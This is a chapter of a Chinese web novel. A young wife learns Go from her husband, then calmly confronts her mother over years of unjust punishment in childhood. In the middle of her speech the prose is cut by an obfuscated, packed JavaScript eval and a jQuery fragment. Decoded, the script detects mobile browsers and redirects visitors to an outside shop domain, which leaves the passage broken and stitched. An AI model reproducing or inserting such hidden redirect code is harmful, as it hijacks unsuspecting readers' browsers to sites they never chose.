因晚膳用得早，招财怕自家公子和新夫人夜间会饿，便又回到厨房，在小炉上煨了一锅瘦肉粥。炉火微红，米香混着肉香，在厨房里慢慢散开。
他一边搅着粥，一边支着耳朵听内院的动静。
书房里偶尔传来几下落子的声音，轻而脆，像在温软的暮色里拨动琴弦。
而书房里，宋含章依旧坐在顾承宇的腿上学棋。顾承宇半圈着她，一只手偶尔点在棋盘边，引导她看棋路。
他教得极认真，语气不急不缓，讲一句，便让她落一子。
宋含章学得也极认真，边听边想，时不时还歪着头琢磨。
一个时辰不到，她已经摸到了门路，掌握了——吃子与逃子、枷、收气、扳与长、扳吃、大小、对杀、叫吃后吃棋、叫吃后连接这些入门必学的门道。
顾承宇扫了一眼她的棋局，暗暗震惊。
一个初学者，能在这么短的时间里掌握这么多棋路，还能根据他的下法举一反三，摸索出新的应对之法，实在罕见。
他知晓宋含章聪慧。昨日在城外设阵脱身、今日在流言面前泰然自若，都足以说明她不是一个寻常女子。
可此刻坐在棋盘前，他才真正看清，宋含章何止聪慧，她是睿智、精明、狡猾、果决、善于分析又简单真诚熔于一炉的人。
她的每一步棋都透着一股子野性难驯的灵气，既有不按常理的跳脱，又有算清后路的沉稳。
宋含章捏着一枚棋，眼睛在棋盘上扫了几个来回。无论她把子落在哪里，都是死路一条。
她的白子已经被他吞得七零八落，首尾不能相顾。她仰起头，看着顾承宇，由衷道：
“夫君，你好厉害。我还没出招，你就已知我的棋子会落在哪里。而且你诱敌深入，完全不露痕迹，等我发现时，已经首尾难顾、插翅难逃了。跟你下棋，我觉得就是一个笨蛋。以前在九鼎门，我可是最聪明的人啊！”
顾承宇低头望着她那双湿漉漉的眼睛，看着她委屈巴巴的模样，眉头微不可察地皱了一下，心里道：
如此精明、如此狡猾的人，怎么会对男女之事一窍不通，怎么会像孩童般不知羞赧？
他，越想越觉得奇怪。
他正出神，宋含章忽然伸手捏了捏他的鼻子：
“夫君，你为何不说话？是不是我太重，压得你腿麻了？好想我坐得也太久了！”
她话音刚落，便“咻”地一下从他腿上站起来，跳到书案旁坐下，拉过他一只手，有一下没一下地把玩着他的手指：
“你的手长得真好看，比我的手还好看。不用来翻花绳，实在太可惜了。”
顾承宇看着她，问：“什么叫翻花绳？”
宋含章一听，来了兴致。
她立刻从怀里掏出一根五色丝线编成的花绳，把顾承宇的双手拉过来，将花绳套在他的十指间展开。
自己则凑上前去，伸出十根手指，将花绳勾过来，反手套在自己的指上，又翻出一个新花样，然后示意顾承宇来翻。
顾承宇只看一眼，便已会了，伸出手指勾住花绳，轻轻一翻，花绳就换了个形状，利落地套在了他的手上。
两人你来我往，一个翻得灵巧，一个接得稳健，花绳在四只手之间变化万千，时而如桥，时而如梭，时而如星。
宋含章乐得直笑，顾承宇的眼底也浮起一层极淡的暖意。
端着茶盏走到书房门口的招财看见了这一幕，脚下一顿，赶紧把茶盏放在门外的廊下，悄无声息地退了下去。
他怕自己一进去，就会惊扰了这幅他盼了六年的画面。
不知为何，以前难以入眠的顾承宇，近来很容易犯困。玩着玩着，他忽然打了一个哈欠。
宋含章放下花绳，站起身说：“夫君，我扶你去小憩一下。”
顾承宇没有拒绝，由着她扶着自己，慢慢走到卧榻边躺了下去。
宋含章替他盖好薄被，又将被角掖了掖。
“你睡一会儿。我走了。”说完，她伸手从书案上拿了一本棋谱，脚步轻快地卷出了书房。
顾承宇张了张嘴，想让她留下来陪自己。可话还没说出口，她的身影已经消失在了门口。他只得无奈地闭上眼睛。
他闭着眼，耳畔好像还响着她清脆的笑声。不过片刻，他竟真的睡了过去。
招财提着扫帚到外院，准备把满地的落叶和海棠花瓣扫一扫。刚拿起扫把，就听见角门被人拍得一声比一声急。
他疑惑地走过去。
这扇角门隐蔽得很，知道的人不多，会是谁在敲门？
角门外，春夏和宋夫人见迟迟无人应门，越发忧心忡忡。春夏又抬手敲门，这次的力道更大了些。宋夫人站在一旁，双手紧紧绞着帕子。
方才她们本来是要从侯府正门进去的，可到了门口才发现大门紧闭，门外还横七竖八地躺着那一群泼皮无赖。
宋夫人心里一紧，又急又怕，嘴上忍不住又将女儿数落了一通。
春夏实在担心顾家会为难自家姑娘，急得不可开交，干脆带着宋夫人绕到小巷，找到了清风居后院的角门。
招财攀上围墙朝外一看，见是春夏那个胖丫头，身边还跟着一位夫人。
他赶紧跳下来，将角门打开。
春夏眼眶红红的，一见招财就问：“我家姑娘呢？你们顾家把她关在哪儿了？你们有没有打她？”
招财连忙摆手：“春夏姑娘别急，夫人好着呢，一根头发都没少。”
宋夫人上前一步，声音微哑：“这位小哥，能不能让我见见含章？”
招财一愣，看向春夏。
春夏忙道：“这是我家夫人。”
招财一听，不敢怠慢，赶紧将二人迎进了门，一路引进了内院。
此时天光还未暗下来，宋含章正坐在海棠树下翻看棋谱。
她看书极快，一目十行，可每一页都看得极认真。海棠花瓣落在她的书页上，她也不扫，就那么带着花瓣翻过去。
春夏一看见她，眼泪就掉了下来，一边跑一边喊：“姑娘，姑娘！”
宋含章闻声抬头，见是春夏，也站起来迎了上去，紧紧拉着春夏的手。
春夏捧着她的脸摸了又摸，又围着她转了一圈，瞧了又瞧，见她安然无恙，才“哇”地一声哭出来，扑进她怀里：
“姑娘，你知不知道我快担心死了。我怕姑爷打你，怕顾家把你关起来。那些挨千刀的，怎么能这样作践你。”
宋含章轻轻拍着春夏的背，柔声道：“傻丫头，你家姑娘好着呢。别哭了，再哭就不好看了。”她的声音很轻很软，像哄孩子。
宋夫人走到宋含章面前，脸上带着压不住的怒色。
宋含章引着母亲到海棠树下的石桌旁坐下。
招财忙斟了茶，又知趣地退了下去。
宋夫人看着女儿，压低声音，一字一句地说：“团团，你出嫁前，为娘就告诫过你。你只能亲近你的夫君，其他的男人，一个都不能靠近。可你倒好，才成婚三日，就在大街上公然和你师兄卿卿我我。”
“你想过没有，你的夫君会怎么想？你的阿娘、你的嫂嫂，还有你的妹妹引章，都会被你的名声连累。一损俱损的道理，你难道不懂吗？你去看看，躺在大门口的那些人，你就是这样报答顾家的恩德的吗？”
宋含章极平静地听着宋夫人这一连串责备的话。她不辩解，不反驳，也不生气。她的眼睛清亮，像一面被风吹得没有一丝波纹的湖。
一旁的春夏和招财听得满心不是滋味。当母亲的，女儿被流言缠身，不是应该先问问女儿有没有受委屈吗？怎么一见面就是劈头盖脸的一顿指责？
宋夫人见女儿不声不响，忽然也意识到自己话说得太急了。她放缓了语气：
“团团，这里是京城，不是九鼎门。你已嫁为人妇，况且嫁进顾家已是高攀。顾家对宋家的恩德太重太重。你凡事都要想想你身边的人，不能只由着自己的性子来。就当为娘求你了，别在像小时候那样无法无天了，好吗？”
宋含章忽然笑了两声。
那笑声不响，却带着一股子凉意，像晚秋夜里忽然吹过来的一阵风。
春夏、招财和宋夫人都微微一震。
宋含章看着母亲，语调平静：“这个世间，对我最好的只有四个人。沈家祖母，春夏，师父，师兄。”
她说到这里，抬头望了一眼江南的方向，目光渺远，“六年前，我去了千里之外的江南，就是想离你们远远的，与你们死生不复相见。”
宋夫人听到“对我最好的四个人”和“死生不复相见”几个字时，倒吸了一口气。对女儿好的几个人里，竟然没有她，没有丈夫，没有一个宋家人。女儿还打算生生世世不见他们。
她竟然不知道，女儿对自己的怨气如此深。她张了张嘴，却发现自己连一个字都说不出来。
春夏在一旁直流泪。
招财听着宋含章的话，心里真不是滋味。他又想起了林太医说的那些往事。那些话，像一根根针，扎在他心上。
宋含章说到此处，抬头望了一眼江南的方向。
“师父说过，人的心里，装的应该是山川江河、日月星辰，不该只是仇怨。是他让我回京城一趟，与您把缘分续上。我用了六年时间来说服自己回来。”
“再有，如果不是想着小时候沈家祖母给过我无尽的温暖，我又岂会回京履行与沈十安婚约。宋家落败，凭我的本事，这京城岂能困得住我，我又岂能待在这四四方方的天地？”
宋夫人听了，忽然想起丈夫和大儿子、小儿子在西疆能够安然，她、白梅、宋引章能够安然待在京城，都是女儿嫁给顾家换来的。
是女儿用自己的一辈子，换来了宋家满门暂时的平安。她喉咙里像被什么东西堵住了。
她明明已决定好好来爱这个被自己冷落的女儿，可是，面对这些流言，她又忘记了自己的决定。
宋含章接着说：“阿娘，关于外面的流言，祖母、母亲和夫君，乃至顾家上下，都在护着我。没有一句责怪，都相信我的为人。唯有你，一进门就指着我的鼻子数落。看来，我们母女缘还真是太浅太浅了。”
她顿了顿，声音又轻了几分，轻得像是从很远的地方飘来，“如果您不生下我，我怎会在十岁就尝尽人间冷暖。如果您生我时，一把将我掐死，便不会有我这个混世魔王，也不会有今日这些流言。如果我能提早知道这世间如此寒冷，知道你我缘浅，我绝不会投胎到您腹中，与你们结缘。”
宋夫人一把抓住自己的胸口，心疼得像被人活活剜去了一块。她没想到，女儿竟然不愿与她成为母女。
她更没想到，女儿会这样平静地说出这些话。不是歇斯底里的控诉，也不是泪流满面的哭喊。
她只是平平静静地说，像在说一件已经过去了很久的、与自己无关的事。
可正是这种平静，最叫人害怕。
宋含章看着宋夫人，继续说
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17845437|206141||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
：“阿娘，人心中的成见是一座大山。我五岁那年，您心爱的瓷瓶碎了。您不问青红皂白，就把我关进黑屋子里，关了一整夜。”
“我七岁那年，大哥的砚台坏了。他不查清楚，直接把我摁在书案前，用戒尺打了我的屁股。八岁那年，父亲心爱的一幅画破了。他不查明原因，就让我在雨里站了四个时辰。”
“诸如此类的事，你们皆不分是非，全怪罪在我身上。我解释，你们说我狡辩；我哭喊，你们说我做贼心虚。您回去问问被您捧在手心里的其他孩子，特别是宋清扬和宋引章，问问我替他们背过多少黑锅。”
宋夫人听着，浑身开始发抖。
她从来不知道这些。
不，她是不想知道。
她总是选择最省事的做法——出事就罚，出错就打，罚完了，打完了，事情就算了了。
她从来没有耐心去查清楚，去听一听这个女儿的辩解。她只觉得这个女儿顽劣、野蛮、不省心。却没想过，她为什么顽劣，为什么野蛮，又为什么不肯亲近自己。
宋含章的声音还在继续，不轻不重，像一条没有波澜的溪流。
“我也不想做一个死胖子，被全京城的人嘲讽、唾弃。可我没得选择，是您把我生成这样的。我也不想做一个混世魔王。可面对那些嘲讽、唾弃和你们的厌恶责怪，如果我不变成混世魔王来保护自己，我早就死了。”
宋夫人再也忍不住，眼泪像决了堤一般涌了出来。她以为女儿生来就和自己不亲，可她从来没有想过，这份不亲，正是自己一手造成的。
招财和春夏一直在哭。
招财背过身去，用袖子拼命擦着眼泪。春夏哭得肩膀一耸一耸的，又不敢发出声音，只能死死捂着嘴。
宋含章说完，看了看下沉的夕阳，转头看着母亲说：“阿娘，您回去吧。流言之事，我会处理好。您放心，绝对不会失了您的体面。”
此时的宋夫人完全懵了。
她呆呆地站在原地，脸上全是泪痕，喉咙里发不出半点声音。她不知道该说什么，该做什么。她明明已决定好好爱这个女儿，可是，此时，她又做了什么？
她想上去抱一抱女儿，可又觉得自己没有资格。想替自己辩解几句，可又发现自己根本无从辩起。
她只能那样站着，像一株被秋霜打蔫了的老树。
宋含章走到春夏面前，伸手拭去她眼角的泪，温声道：“傻丫头，带阿娘回去吧。你家姑娘想睡觉了。”
春夏抬头看了看西斜的日光，天色已经有些暗了。她赶紧点头：“好，姑娘。我这就带夫人回去。你要好好的。”
宋含章拍了拍她的肩膀，没再说话，转身走进了自己的小屋。
她的背挺得很直，脚步也稳。
她没有回头。
一次也没有。
春夏忍着泪，拉了拉还愣在原地的宋夫人。宋夫人仿佛被抽去了所有的力气，身体晃了晃，才勉强站稳。
她由着春夏扶着她，一步一地往外走。走到角门处时，她回头望了望内院，嘴唇动了动，终是一个字也没能说出来。门在她身后轻轻关上了。
晚风从巷口灌进来，吹得她鬓边的碎发乱舞。她再也忍不住，捂着嘴，无声地痛哭起来。
书房里，躺在卧榻上的顾承宇缓缓睁开了眼睛。
他不知何时醒了。
宋含章说的每一个字，他都听得清清楚楚。
不，是刻进了心里。
那些话像针，像刀，像一块一块烧红的炭，落在他心上，落在他从未对任何人展露过的柔软处。
她说的每一句话，都那么平静，却又那么决绝。她十岁离家的缘由，她六年才肯回京的挣扎，她与母亲之间那道深不见底的裂痕，她替宋家所有孩子背过的黑锅——全都铺开在他面前。
他闭上眼，眼前就浮现出一个小姑娘。圆圆的，胖胖的，壮壮的、被推进黑屋子，一个人在黑暗里缩成一团；她站在雨里，浑身湿透，却没有人来拉她一把；她跪在祠堂里，被人用鞭子抽得皮开肉绽，却一声不吭。
他仿佛能看见她咬着牙，把眼泪咽回肚子里，把所有的委屈都吞下去，然后一个人，拖着磨烂的双脚，一步一步往南走。
他攥紧了搭在薄被外的手。
她的心到底有多痛，才能把那些往事说得那样平静？她到底一个人熬过了多少黑夜，才能对所有的伤害都轻描淡写？
他忽然很想下床，去小屋找她。
不是去安慰，不是去怜悯。
他只是想坐在她身边，告诉她，从今以后，他不会再让任何人这样对她。
可他到底没有动。
他不能动，也不敢动。
他怕自己这副腿脚，连走到她面前的资格都没有。他只是重新闭上眼睛，把她的名字，一遍又一遍地刻在心底。
窗外的夕阳彻底沉了下去。天边最后一点光亮也灭了。
院子里，海棠花还在落，一朵又一朵，无声无息。
屋子里，招财端着一碗温热的瘦肉粥，轻手轻脚地放在了宋含章小屋的门口。
他站了一会儿，终是没有敲门。
他擦了擦脸，转身退了下去。
清风居又归于寂静。
可这寂静里，再没有从前的冷。
因为有一盏灯，在小屋里亮着。有一个人，在书房里醒着。
他们之间，只隔着一整个院子，却好像，已经不再那么远了。